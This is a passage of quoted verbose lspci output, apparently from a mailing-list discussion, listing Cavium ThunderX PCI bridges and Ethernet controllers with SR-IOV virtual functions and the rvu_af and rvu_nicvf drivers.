> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1d.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=1e, subordinate=1e, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1e.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=1f, subordinate=1f, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1f.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=20, subordinate=20, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:01:00.0 Ethernet controller: Cavium, Inc. Device a065 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 840000000000 (32-bit, non-prefetchable) [size=8G]
> Region 2: [virtual] Memory at 840200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=38 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable+ Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 9, Total VFs: 9, Number of VFs: 9, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f7
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_af
>
> 0002:01:00.1 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840202000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc100000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.2 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840204000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc140000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.3 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840206000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc180000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.4 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840208000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc1c0000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.5 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84020a000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc200000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.6 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
